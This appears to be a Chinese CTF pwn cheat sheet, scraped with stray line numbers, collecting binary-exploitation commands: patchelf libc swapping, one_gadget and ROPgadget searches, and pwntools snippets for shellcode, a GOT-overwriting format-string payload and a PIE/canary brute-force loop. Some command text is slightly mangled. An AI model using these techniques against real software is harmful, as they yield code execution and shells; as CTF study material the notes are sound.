glibc-all-in-one 在glibc-all-in-one目录下
获取可下载的libc列表
查看对应连接器 1 strings buu/libc-2.23-x64.so | grep ubuntu
查看目前链接信息
换源 1 patchelf --replace-needed libc.so.6 /home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 heap_Double_Free
1 patchelf --set-interpreter /home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./heap_Double_Free
Onegadget 1 one_gadget filename #libc文件名
一运行就能拿到shell的地址,但是会标使用条件,找能实现的搞就好
ROPgadget 搜索ret指令的地址 1 ROPgadget –binary filename –only ‘ret’
控制寄存器用 1 ROPgadget --binary fliename --only "pop|ret"
静态编译文件直接得到完整rop链 1 ROPgadget --binary fliename --ropchain
搜索字符串,给出字符串地址 1 ROPgadget --binary ./fliename --string 'sh'
下面是一些零散的小python语句 1 2 context(log_level = "debug",arch = "i386",os = "linux") \#表明系统
1 2 payload = fmtstr_payload(offset, {atoi_got : sys_plt}) 自动生成fmt_payload
1 shellcode = asm(shellcraft.sh())#<-这里利用pwntools的asm()函数来写shellcode.
1 2 3 payload = flat([shellcode.ljust(padding,'A'),buf_addr]) 这段代码是将shellcode和buf_addr连接成一个字符串,其中shellcode右侧填充'A'字符,直到字符串长度为padding。然后使用flat函数将这个字符串转换为二进制格式,以便在后续的操作中使用。
应付pie 1 2 3 4 5 6 for k in range(500): p.recvuntil(b'welcome\n') i=random.randint(0,14) payload = b'A'*104 +canary+p64(0x7fffffffdddddddd) + p8(0x31)+p8(0x02+i*16) p.send(payload)